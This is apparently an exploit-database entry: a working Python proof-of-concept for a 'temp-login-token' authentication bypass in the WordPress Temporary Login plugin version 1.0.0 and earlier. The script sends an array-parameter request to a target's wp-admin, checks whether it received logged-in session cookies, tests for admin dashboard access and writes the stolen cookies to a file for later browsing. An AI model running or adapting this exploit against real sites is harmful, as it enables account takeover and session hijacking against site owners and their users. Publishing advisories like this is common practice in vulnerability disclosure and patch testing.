📄 WordPress Temporary Login 1.0.0 Authentication Bypass

# Exploit Title: Wordpress Temporary Login Plugin  1.0.0 - 'temp-login-token' Authentication Bypass to Account Takeover
    # Date: 2026-05-02
    # Exploit Author: Amir Hossein Jamshidi
    # Vendor Homepage: https://wordpress.org
    # Software Link: https://downloads.wordpress.org/plugin/temporary-login.1.0.0.zip
    # Version: <= 1.0.0
    # Tested on: Linux
    # CVE : CVE-2026-7567
    
    
    #!/usr/bin/env python3
    import requests
    
    print('''
    #################################################################################
    #  Temporary Login Plugin <= 1.0.0 - 'temp-login-token' Authentication Bypass   #
    #                   BY: Amir Hossein Jamshidi                                   #
    #               Mail: [email protected]                           #
    #           github: https://github.com/amirhosseinjamshidi64                    #
    #                    Usage: python Exploit.py                                   #
    #################################################################################
    ''')
    
    # Target URL - CHANGE THIS to your WordPress URL
    target = input("Enter Target (example: https://evil.com/): ")
    url = target + "wp-admin/?temp-login-token[]"
    print("[*] Sending exploit request...")
    response = requests.get(url, allow_redirects=True)
    
    print(f"[*] Final URL: {response.url}")
    print(f"[*] Response status: {response.status_code}")
    
    # Check if we got admin cookies
    if 'wp-settings-time' in str(response.cookies):
        print("[✓] SUCCESS! Authentication bypassed!")
        print("[✓] WordPress logged-in cookie found")
        # Try to access admin area with the same session
        admin_check = requests.get(
            response.url.replace('wp-login.php', 'wp-admin/'),
            cookies=response.cookies
        )
        if 'Dashboard' in admin_check.text or 'wp-admin' in admin_check.url:
            print("[✓] Full admin access confirmed!")
            print("[✓] You are now logged in as a temporary user")
        else:
            print("[!] Logged in but no admin access (user may have limited role)")
    else:
        print("[-] Exploit failed. Reasons:")
        print("    - Plugin not installed or not version 1.0.0")
        print("    - No temporary users exist")
        print("    - Plugin is patched")
    # Save cookies for manual browsing
    with open('wordpress_cookies.txt', 'w') as f:
        for cookie in response.cookies:
            f.write(f"{cookie.name}={cookie.value}\n")
    print("[*] Cookies saved to wordpress_cookies.txt")